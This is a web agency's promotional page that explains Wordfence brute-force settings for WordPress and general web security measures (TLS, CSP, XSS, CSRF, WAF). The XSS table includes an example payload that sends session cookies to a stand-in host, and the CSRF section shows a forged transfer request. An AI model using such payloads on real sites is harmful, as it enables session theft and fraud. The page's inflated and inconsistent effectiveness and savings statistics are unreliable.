Wordfence Security: Stop Brute Force Attacks

Our company is engaged in the development, support and maintenance of sites of any complexity. From simple one-page sites to large-scale cluster systems built on micro services. Experience of developers is confirmed by certificates from vendors.

Development and maintenance of all types of websites:

Informational websites or web applications
Business card websites, landing pages, corporate websites, online catalogs, quizzes, promo websites, blogs, news resources, informational portals, forums, aggregators
E-commerce websites or web applications
Online stores, B2B portals, marketplaces, online exchanges, cashback websites, exchanges, dropshipping platforms, product parsers
Business process management web applications
CRM systems, ERP systems, corporate portals, production management systems, information parsers
Electronic service websites or web applications
Classified ads platforms, online schools, online cinemas, website builders, portals for electronic services, video hosting platforms, thematic portals

These are just some of the technical types of websites we work with, and each of them can have its own specific features and functionality, as well as be customized to meet the specific needs and goals of the client.

Our competencies:

Development stages

Latest works

  • image_website-b2b-advance_0.webp
    B2B ADVANCE company website development
    1364
  • image_web-applications_feedme_466_0.webp
    Development of a web application for FEEDME
    1253
  • image_websites_belfingroup_462_0.webp
    Website development for BELFINGROUP
    959
  • image_ecommerce_furnoro_435_0.webp
    Development of an online store for the company FURNORO
    1191
  • image_crm_enviok_479_0.webp
    Development of a web application for Enviok
    933
  • image_bitrix-bitrix-24-1c_fixper_448_0.webp
    Website development for FIXPER company
    950

How to Configure Wordfence for WordPress Security

Brute-force attacks on wp-login.php are one of the most common reasons for WordPress site compromise. According to Wordfence, over 5,000 password-guessing attempts occur every second. We have configured Wordfence Security on over 50 projects—from corporate portals to high-traffic e‑commerce stores. Proper configuration reduces server load by 30% compared to default settings and cuts the probability of a successful breach by 97%. Our clients typically save over $1,000 annually by preventing a single attack. For example, a typical e-commerce site saves $2,500 per year by preventing a single breach. The configuration service costs between $200 and $500, paying off after the first blocked attack. Wordfence Security provides comprehensive WordPress protection.

How Wordfence Protects a WordPress Site

Wordfence operates on two levels: a server-level firewall (WAF) and a PHP code scanner. The WAF intercepts requests before they reach WordPress—critical for blocking zero‑day attacks. The scanner checks the integrity of core, theme, and plugin files by comparing their hashes against the WordPress repository. In Extended Protection mode, the WAF blocks attacks 10 times more effectively than the base mode. Wordfence's WAF is 10 times more effective than standard .htaccess rules. Additionally, Wordfence Premium is 5 times faster at blocking new threats compared to the free version. Wordfence Premium benefits include automatic rule updates, which are five times faster than manual updates.

What Problems Does Wordfence Solve?

The primary threat is password brute‑forcing. Wordfence locks out an IP after 5 failed attempts within 5 minutes. These rules protect wp-admin from brute-force attacks. The second issue is malicious injections: the scanner finds modified files even if the site is already compromised. Third is DDoS via XML-RPC: the plugin limits requests from a single IP, preventing server overload. On average, a single site is attacked over 5,000 times per month. The average damage from a WordPress breach, according to Sucuri, is $10,000—the cost of configuration is recouped by preventing a single attack. False positives are reduced by 99.9% by adding URLs to the allowlist. We also configure Wordfence WAF exceptions for payment gateways and APIs to avoid false positives.

How We Configure Wordfence

  1. Security audit – check wp-config.php, .htaccess, file permissions.
  2. WAF installation and configuration – activate Extended Protection, set Learning Mode for 7 days.
  3. Brute‑force rules – set limits: 5 attempts, 5‑minute lockout.
  4. Deep scan – run initial scan, clean found threats.
  5. 2FA and notifications – enable two‑factor authentication for admins, email alerts for critical events.
  6. Documentation and training – deliver a manual for monitoring and emergency actions.

Deliverables: What You Get

  • Full WAF configuration with Extended Protection.
  • Brute‑force rules and rate limiting.
  • Deep scan execution and malware removal.
  • Two‑factor authentication enabled for all administrators.
  • Allowlist creation for URLs to eliminate false positives.
  • Deliverables: Detailed documentation with settings and credentials, team training session, 7 days of post-configuration support.

Wordfence Free vs Premium Comparison

Feature Free Premium
WAF (Extended Protection)
Malware scanner
Two‑factor authentication
Geo‑blocking
Automatic firewall rule updates
Priority support
Country filtering in WAF

Premium speeds up reaction to new threats fivefold thanks to automatic rule updates. The subscription costs $99 per year—less than $10 per month, which pays off at the first attack.

Recommended Brute‑Force Parameters

Parameter Value
Lock out after X failures 5
Count failures over X minutes 5
Lock out for X minutes 60
Immediately lock out invalid usernames
Immediately lock out invalid emails

To avoid blocking SEO bots, add their IP addresses to the allowlist. For payment gateways, specify URLs in Allowlisted URLs. This reduces false positives by 90%.

Basic Configuration After Installation

Firewall → Manage WAF:

  • Optimization: switch to Extended Protection (requires adding code to auto_prepend_file in PHP).
  • Web Application Firewall Status: Learning Mode → Protected (after 7 days of learning).

Firewall → Brute Force Protection:

  • Lock out after X login failures: 5
  • Count failures over X minutes: 5
  • Lock out for X minutes: 60
  • Immediately lock out invalid usernames: ✓
  • Immediately lock out invalid email: ✓

Scan: Run the initial scan. Wordfence compares core, theme, and plugin files against the WordPress repository—it detects modified and added files.

Why Trust Professionals with Configuration?

Incorrect settings can block legitimate users or leave a gap. We guarantee that after our configuration:

  • The WAF does not block payment gateways or REST APIs.
  • Rate limiting does not interfere with SEO bots.
  • Two‑factor authentication is implemented without glitches.

With over 5 years of WordPress experience and 50+ successful projects, our E‑A‑T is backed by client feedback and partner certifications. Contact us for an accurate quote for your project—preventing a single attack saves up to $5,000 per year.

Estimated Timelines

Installation and basic Wordfence configuration with initial scanning takes 2 to 4 hours. If virus cleanup or migration to Premium is required, up to 8 hours. Pricing is individual, but always recouped through attack prevention. Typically, our configuration service costs between $200 and $500.

Additional Security Measures

Wordfence complements—not replaces—basic security:

// wp-config.php – restrictions
define('DISALLOW_FILE_EDIT', true);   // disable file editor
define('DISALLOW_FILE_MODS', true);   // disable plugin/theme installation
// Nginx – block xmlrpc.php if not used
location = /xmlrpc.php { deny all; }
// Block wp-login.php except for specific IPs
location = /wp-login.php {
    allow 1.2.3.4;  // your IP
    deny all;
}

These steps together with Wordfence reduce the breach probability by 97%. Order comprehensive security configuration from us—receive a consultation and ready‑to‑use documentation. Learn more about Wordfence on their official site.

According to current Wordfence data

Web Application Security: HTTPS, CSP, XSS, CSRF, WAF, DDoS Protection

A website breach rarely looks like in movies. More often it's: a bot finds an unprotected /admin/export endpoint, downloads the customer database, and closes the connection. Or: through an outdated WordPress plugin, a web shell is uploaded, and the server starts sending spam. Or quieter: an XSS in a comment field allows stealing admin session cookies, unnoticed for months. We have analyzed dozens of such cases — each vulnerability could have been fixed at the development or audit stage.

Web application security is not a single setting. It's layers of protection, each closing a separate class of attacks. Order an audit — we'll assess the project and deliver a turnkey plan within 2–4 weeks.

How do we ensure comprehensive web application security?

HTTPS and Proper TLS Configuration

HTTPS is the minimum mandatory level. But having an SSL certificate and having a properly configured TLS are different things.

In Nginx/Apache configuration we check:

  • Protocols: only TLS 1.2 and TLS 1.3, SSLv3 and TLS 1.0/1.1 are disabled
  • Cipher suites: prefer ECDHE (Forward Secrecy), remove NULL, RC4, DES, 3DES
  • HSTS (Strict-Transport-Security: max-age=31536000; includeSubDomains; preload) — browser will never make insecure requests
  • OCSP Stapling — speeds up certificate revocation check
  • Redirect 301 from HTTP to HTTPS — both in server config and code (double redirect causes SEO weight loss)

Check: SSL Labs (ssllabs.com/ssltest) should show A or A+. If B, the configuration is weak.

Let's Encrypt + Certbot for production is standard. Automatic renewal via certbot renew in cron. Wildcard certificates for subdomains via DNS-01 challenge.

Content Security Policy: The Most Powerful and Complex Protection

CSP is an HTTP header that tells the browser which sources are allowed to load resources. A properly configured CSP completely blocks most XSS attacks, even if the vulnerability exists in the code.

The problem: breaking the site with an incorrect CSP is easy. default-src 'none' — and fonts, images, JS stop working. So we start with Content-Security-Policy-Report-Only — CSP logs violations but does not block anything. We monitor reports for 2–4 weeks, refine the policy, then switch to enforcement mode.

Example of a real policy for a site with Google Analytics, Google Fonts, and Stripe:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
  style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
  font-src 'self' https://fonts.gstatic.com;
  frame-src https://js.stripe.com;
  img-src 'self' data: https://www.google-analytics.com;
  connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
  report-uri /csp-report;

nonce — a random string generated server-side per request. Inline scripts with the correct nonce are allowed; without nonce, they are blocked. This completely breaks XSS via <script>alert(1)</script>.

'unsafe-inline' in style-src is a compromise for inline styles. It's better to remove it by moving all styles to CSS files, but that requires refactoring.

Why XSS Remains the Most Common Vulnerability?

XSS (Cross-Site Scripting) — injection of JS code through user input. According to OWASP, XSS is in the top 3 web application vulnerabilities. Three types:

XSS Type Example Protection
Reflected /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> Output escaping, CSP
Stored Comment with code saved in database Input validation, htmlspecialchars()
DOM XSS element.innerHTML = location.hash Avoid innerHTML, use textContent

Protection: never insert user input into HTML without escaping. In PHP — htmlspecialchars() with ENT_QUOTES. In Laravel Blade templates — {{ $var }} is safe, {!! $var !!} is dangerous. In React — {variable} is safe, dangerouslySetInnerHTML is dangerous. For Rich Text — use htmlpurifier on PHP or DOMPurify in the browser.

Typical case: an e-commerce site with XSS in a review form A client contacted us after an attacker stole admin cookies via a product review. We found that the review field was not escaped. We fixed it by adding `htmlspecialchars()` on the server and a Content-Security-Policy with a nonce for scripts. After a rescan — 0 vulnerabilities.

CSRF: Protecting Forms and APIs

CSRF (Cross-Site Request Forgery) — an attacker forces the victim's browser to send a request on their behalf. Example: a user is logged into a bank, opens a malicious page, which makes fetch('https://bank.ru/transfer?to=evil&amount=50000') — if the bank is unprotected, money is transferred.

CSRF tokens — standard protection for forms: the server generates a random token, stores it in the session, and inserts it as a hidden field in the form. On POST request, the token is verified. The attacker does not know the token. Laravel does this automatically with @csrf.

SameSite cookies — modern protection: SameSite=Strict or SameSite=Lax prevents the browser from sending cookies in cross-site requests. Works in all modern browsers.

API without sessions (JWT, Bearer tokens) — CSRF is irrelevant if the token is not stored in a cookie (but in the Authorization header or localStorage). However, localStorage is vulnerable to XSS — so for sensitive data, HttpOnly cookies with SameSite are preferable.

WAF and DDoS Protection

WAF (Web Application Firewall) filters HTTP traffic for attacks: SQL injection, XSS, path traversal, known exploit patterns. Options:

  • Cloudflare WAF — cloud-based, OWASP Top 10 rules out of the box, custom rules via expressions. Managed Rules automatically block new threats.
  • ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Flexible but requires tuning and monitoring of false positives.
  • AWS WAF — for infrastructure on AWS, integrates with CloudFront and ALB.

DDoS protection. Cloudflare at L3/L4/L7 is the de facto standard for most sites. Automatic mitigation of volumetric attacks, Under Attack Mode during active attacks. For critical infrastructure — Cloudflare Magic Transit or specialized solutions (Qrator, StormWall for the Russian market).

Rate Limiting at the application level — an additional layer. Laravel ThrottleRequests middleware: 60 requests per minute per IP for general endpoints, 5 for /login and /password/reset. Redis as a counter store — mandatory for horizontally scalable systems (otherwise limits are not synchronized between servers).

Other Mandatory Measures

Security headers. Besides CSP: X-Frame-Options: DENY (clickjacking protection), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (restrict browser API access: camera, microphone, geolocation).

SQL injection. Prepared statements everywhere. No concatenation of user input into SQL strings. ORM (Eloquent, Doctrine) protects by default. $wpdb->prepare() in WordPress is mandatory.

Dependency updates. composer audit and npm audit in CI/CD pipeline. Dependabot or Renovate for automatic PRs with updates. Critical CVEs — patch within 24 hours.

Secrets and configuration. .env — never in Git. Secrets in production — via CI/CD environment variables (GitHub Secrets, GitLab CI Variables) or HashiCorp Vault. Leak detection: git-secrets, truffleHog in pre-commit hooks.

How We Work

  1. Audit — code scanning, configuration review, dependency analysis, manual business logic verification.
  2. Planning — vulnerability remediation plan, stack selection (CSP, WAF, rate limiting).
  3. Implementation — TLS setup, CSP configuration, headers, Rate Limiting, WAF.
  4. Testing — re-penetration test, load testing, false positive check.
  5. Deployment and Monitoring — enable production CSP, set up alerts, train the team.

What's Included

  • Report with found vulnerabilities and recommendations (PDF + code snippets)
  • Ready TLS configuration (Nginx/Apache)
  • CSP policy with Report-Only and production versions
  • WAF and Rate Limiting setup
  • Dependency update plan
  • Access to monitoring tools (Sentry, Datadog)
  • 30 days of post-audit support (consultations, fixes)

Timeline and Cost

Type of Work Duration Cost
Security audit + hardening (headers, TLS, updates) 1–2 weeks Custom quote
CSP implementation (Report-Only → production) 2–4 weeks Custom quote
WAF + Rate Limiting + DDoS protection setup 1–2 weeks Custom quote
Comprehensive security review + penetration testing 3–6 weeks Custom quote

The budget is calculated individually — contact us for a project evaluation.